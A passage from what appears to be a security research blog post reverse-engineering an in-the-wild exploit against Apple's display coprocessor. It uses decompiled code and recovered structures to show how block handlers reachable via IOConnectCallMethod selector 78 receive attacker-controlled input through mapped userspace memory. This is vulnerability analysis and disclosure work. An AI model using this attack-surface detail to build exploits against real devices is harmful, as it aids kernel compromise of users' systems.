<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">cnt_remaining_sclar_input </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> cnt_remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">some_flags </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0x40000000LL</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">dispatcher_fptr </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> a_dispatcher</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> metadisp</span><span class="HovzfPYjjR-c1">.</span><span class="HovzfPYjjR-c0">offset_of_something_which_looks_serialization_related </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">&</span><span class="HovzfPYjjR-c0">off_1C1308</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> metadispatch</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">holder</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> first_scalar_input</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">1</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> caller_task_ptr</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> structure_input_buffer</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">&</span><span class="HovzfPYjjR-c0">metadisp</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">}</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>This method wraps up the arguments into another structure I've called </span><span class="HovzfPYjjR-c7">metadispatcher</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.70518115c511a294cd855553b9003a0771a08ccd"></a><a id="t.13"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> __attribute__</span><span class="HovzfPYjjR-c1">((</span><span class="HovzfPYjjR-c0">aligned</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c4">8</span><span class="HovzfPYjjR-c1">)))</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> metadispatcher</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t address_of_some_zerofill_static_buffer</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t some_flags</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> __int64 </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">__fastcall </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">dispatcher_fptr</span><span class="HovzfPYjjR-c1">)(</span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> metadispatcher </span><span class="HovzfPYjjR-c1">*,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">BlockHandler</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*,</span><span class="HovzfPYjjR-c0"> __int64</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> _QWORD</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t offset_of_something_which_looks_serialization_related</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> block_handler_holder </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">handlers_holder</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t structure_input_buffer</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t structure_input_size</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t remaining_scalar_inputs</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t cnt_remaining_sclar_input</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">};</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">That metadispatcher object is then passed to this method:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.9e3136a3d4346cb21c1c8dc0948c6e7439c8fc5f"></a><a id="t.14"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> metadispatch</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">holder</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> first_scalar_input</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">1</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> caller_task_ptr</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> structure_input_buffer</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">&</span><span class="HovzfPYjjR-c0">metadisp</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0</span><span class="HovzfPYjjR-c1">);</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">In there we reach this code:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.b1eaf3e2e954d8f37bc987b98c30e92ce161e849"></a><a id="t.15"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> block_type_handler </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> lookup_a_handler_for_block_type_and_subtype</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> a1</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> first_scalar_input</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c30">// block_type</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> a3</span><span class="HovzfPYjjR-c1">);</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c30">// subtype</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The exploit calls this </span><span class="HovzfPYjjR-c7">set_block</span><span> external method twice, passing two different values for </span><span class="HovzfPYjjR-c7">first_scalar_input</span><span>, </span><span class="HovzfPYjjR-c7">7</span><span> and </span><span class="HovzfPYjjR-c7">19</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">. Here we can see that those correspond to looking up two different block handler objects here.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The lookup function searches a linked list of block handler structures; the head of the list is stored at offset </span><span class="HovzfPYjjR-c7">0x1448</span><span> in the </span><span class="HovzfPYjjR-c7">UPPipeDCP_H13P</span><span> object and registered dynamically by a method I've named </span><span class="HovzfPYjjR-c7">add_handler_for_block_type</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.0dbaa54d4462638b9beda378f3267a7a7c4ded25"></a><a id="t.16"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">add_handler_for_block_type</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> block_handler_holder </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">handler_list</span><span class="HovzfPYjjR-c1">,</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">BlockHandler</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">handler</span><span class="HovzfPYjjR-c1">)</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"></span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The logging code tells us that this is in a file called </span><span class="HovzfPYjjR-c7">IOMFBBlockManager.cpp</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">. IDA finds 44 cross-references to this method, indicating that there are probably that many different block handlers. The structure of each registered block handler is something like this:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.3c5d4c46eb785d82b4debfb43373bde140bc52fe"></a><a id="t.17"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> __cppobj </span><span class="HovzfPYjjR-c14">BlockHandler</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">:</span><span class="HovzfPYjjR-c0 HovzfPYjjR-c2"> RTKIT_RC_RTTI_BASE</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">{</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t field_16</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> handler_inner_types_entry </span><span class="HovzfPYjjR-c1">*</span><span class="HovzfPYjjR-c0">inner_types_array</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t n_inner_types_array_entries</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t field_36</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint8_t can_run_without_commandgate</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t block_type</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t list_link</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t list_other_link</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t some_other_type_field</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t some_other_type_field2</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t expected_structure_io_size</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint32_t field_76</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t getBlock_Impl</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t setBlock_Impl</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t field_96</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> uint64_t back_ptr_to_UPPipeDCP_H13P</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c1">};</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The RTTI type is </span><span class="HovzfPYjjR-c7">BLHA</span><span> (</span><span class="HovzfPYjjR-c7">BL</span><span>ock </span><span class="HovzfPYjjR-c7">HA</span><span>ndler.)</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">For example, here's the codepath which builds and registers block handler type 24:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.15a6e240c53ab46ec843eed2902a63a7ce3a078d"></a><a id="t.18"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24 </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c9">struct</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c14">BlockHandler</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*)</span><span class="HovzfPYjjR-c14">CXXnew</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c4">112LL</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">__vftable </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c14">BlockHandler_vtbl</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*)</span><span class="HovzfPYjjR-c0">BLHA_super_vtable</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">block_type </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">24</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">refcnt </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">1</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">can_run_without_commandgate </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">some_other_type_field </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0LL</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">expected_structure_io_size </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0xD20</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">typeid</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> typeid_BLHA</span><span class="HovzfPYjjR-c1">();</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c9">typeid</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">typeid</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">modify_typeid_ref</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c9">typeid</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">1</span><span class="HovzfPYjjR-c1">);</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">__vftable </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> vtable_BLHA_subclass_type_24</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">inner_types_array </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0LL</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">n_inner_types_array_entries </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">getBlock_Impl </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> BLHA_24_getBlock_Impl</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">setBlock_Impl </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> BLHA_24_setBlock_Impl</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">field_96 </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c4">0LL</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">BLHA_24</span><span class="HovzfPYjjR-c1">-></span><span class="HovzfPYjjR-c0">back_ptr_to_UPPipeDCP_H13P </span><span class="HovzfPYjjR-c1">=</span><span class="HovzfPYjjR-c0"> a1</span><span class="HovzfPYjjR-c1">;</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0">add_handler_for_block_type</span><span class="HovzfPYjjR-c1">(</span><span class="HovzfPYjjR-c0">list_holder</span><span class="HovzfPYjjR-c1">,</span><span class="HovzfPYjjR-c0"> BLHA_24</span><span class="HovzfPYjjR-c1">);</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>Each block handler optionally has </span><span class="HovzfPYjjR-c7">getBlock_Impl</span><span> and </span><span class="HovzfPYjjR-c7">setBlock_Impl</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> function pointers which appear to implement the actual setting and getting operations.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>We can go through all the callsites which add block handlers; tell IDA the type of the arguments and name all the </span><span class="HovzfPYjjR-c7">getBlock</span><span> and </span><span class="HovzfPYjjR-c7">setBlock</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> implementations:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><img /></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Z34Qgm9fUE2rzMwJWQ3j-w7InvtfHj5fs2qctSh0tTFmMbUpnrsQC4rUrhMf3_83uHAFinlM6xKqKXgUc2QR5IfL0gf4YEBM9Rqgrc6sNYsaCZ-JAe0PHlGa9VYcBgWfTqj5rTtin1mWTDG-I8K5M41EhA64KLNV54Sv9lvtbYIrkY2j37X6SniB/s1436/Screenshot%202022-06-22%20at%2016.53.47.png" style="display: block; padding: 1em 0; text-align: center;"><img alt="The IDA Pro Names window showing a list of symbols like BLHA_15_getBlock_Impl." border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg-Z34Qgm9fUE2rzMwJWQ3j-w7InvtfHj5fs2qctSh0tTFmMbUpnrsQC4rUrhMf3_83uHAFinlM6xKqKXgUc2QR5IfL0gf4YEBM9Rqgrc6sNYsaCZ-JAe0PHlGa9VYcBgWfTqj5rTtin1mWTDG-I8K5M41EhA64KLNV54Sv9lvtbYIrkY2j37X6SniB/s1200/Screenshot%202022-06-22%20at%2016.53.47.png" style="max-height: 750; max-width: 600px;" title="The IDA Pro Names window showing a list of symbols like BLHA_15_getBlock_Impl." /></a></span></p>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>You can perhaps see where this is going: that's looking like really quite a lot of reachable attack surface! Each of those </span><span class="HovzfPYjjR-c7">setBlock_Impl</span><span> functions is reachable by passing a different value for the first scalar argument to </span><span class="HovzfPYjjR-c7">IOConnectCallMethod</span><span> </span><span class="HovzfPYjjR-c7">78</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2">.</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>There's a little bit more reversing though to figure out how exactly to get controlled bytes to those </span><span class="HovzfPYjjR-c7">setBlock_Impl</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> functions:</span></p><h2 class="HovzfPYjjR-c8 HovzfPYjjR-c15" id="h.7aa6aljwlb56"><span class="HovzfPYjjR-c16 HovzfPYjjR-c2">Memory Mapping</span></h2>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The raw "block" input to each of those </span><span class="HovzfPYjjR-c7">setBlock_Impl</span><span> methods isn't passed inline in the </span><span class="HovzfPYjjR-c7">IOConnectCallMethod</span><span> structure input. There's another level of indirection: each individual block handler structure has an array of supported "subtypes" which contains metadata detailing where to find the (userspace) pointer to that subtype's input data in the </span><span class="HovzfPYjjR-c7">IOConnectCallMethod</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> structure input. The first dword in the structure input is the id of this subtype - in this case for the block handler type 19 the metadata array has a single entry:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span class="HovzfPYjjR-c6 HovzfPYjjR-c2"><2, 0, 0x5F8, 0x600></span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>The first value (</span><span class="HovzfPYjjR-c7">2</span><span>) is the subtype id and </span><span class="HovzfPYjjR-c7">0x5f8</span><span> and </span><span class="HovzfPYjjR-c7">0x600</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> tell the DCP from what offset in the structure input data to read a pointer and size from. The DCP then requests a memory mapping from the AP for that memory from the calling task:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.aba9dc90c6ed53b6789430b30f81bcfaea4d57c4"></a><a id="t.19"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c9">return</span><span class="HovzfPYjjR-c0"> wrap_MemoryDescriptor</span><span class="HovzfPYjjR-c1">::</span><span class="HovzfPYjjR-c0">withAddressRange</span><span class="HovzfPYjjR-c1">(</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c9">void</span><span class="HovzfPYjjR-c1">*)(</span><span class="HovzfPYjjR-c0">structure_input_buffer </span><span class="HovzfPYjjR-c1">+</span><span class="HovzfPYjjR-c0"> addr_offset</span><span class="HovzfPYjjR-c1">),</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*(</span><span class="HovzfPYjjR-c9">unsigned</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c9">int</span><span class="HovzfPYjjR-c0"> </span><span class="HovzfPYjjR-c1">*)(</span><span class="HovzfPYjjR-c0">structure_input_buffer </span><span class="HovzfPYjjR-c1">+</span><span class="HovzfPYjjR-c0"> size_offset</span><span class="HovzfPYjjR-c1">),</span></p>
<p class="HovzfPYjjR-c3"><span class="HovzfPYjjR-c0"> caller_task_ptr</span><span class="HovzfPYjjR-c1">);</span></p></td></tr></table>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br>
<p class="HovzfPYjjR-c3 HovzfPYjjR-c8"><span>We saw earlier that the AP sends the DCP the </span><span class="HovzfPYjjR-c7">struct task</span><span> pointer of the calling task; when the DCP requests a memory mapping from a user task it sends those raw task struct pointers back to the AP such that the kernel can perform the mapping from the correct task. The memory mapping is abstracted as an </span><span class="HovzfPYjjR-c7">MDES</span><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"> object on the DCP side; the implementation of the mapping involves the DCP making an RPC to the AP:</span></p>
<p class="c3 c8 c10"><span class="HovzfPYjjR-c5 HovzfPYjjR-c2"></span></p><br><a id="t.3170af9bf4e5590254e3fb8ce48d68439d2d1c04"></a><a id="t.20"></a><table class="HovzfPYjjR-c20"><tr class="HovzfPYjjR-c18"><td class="HovzfPYjjR-c13" colspan="1" rowspan="1">
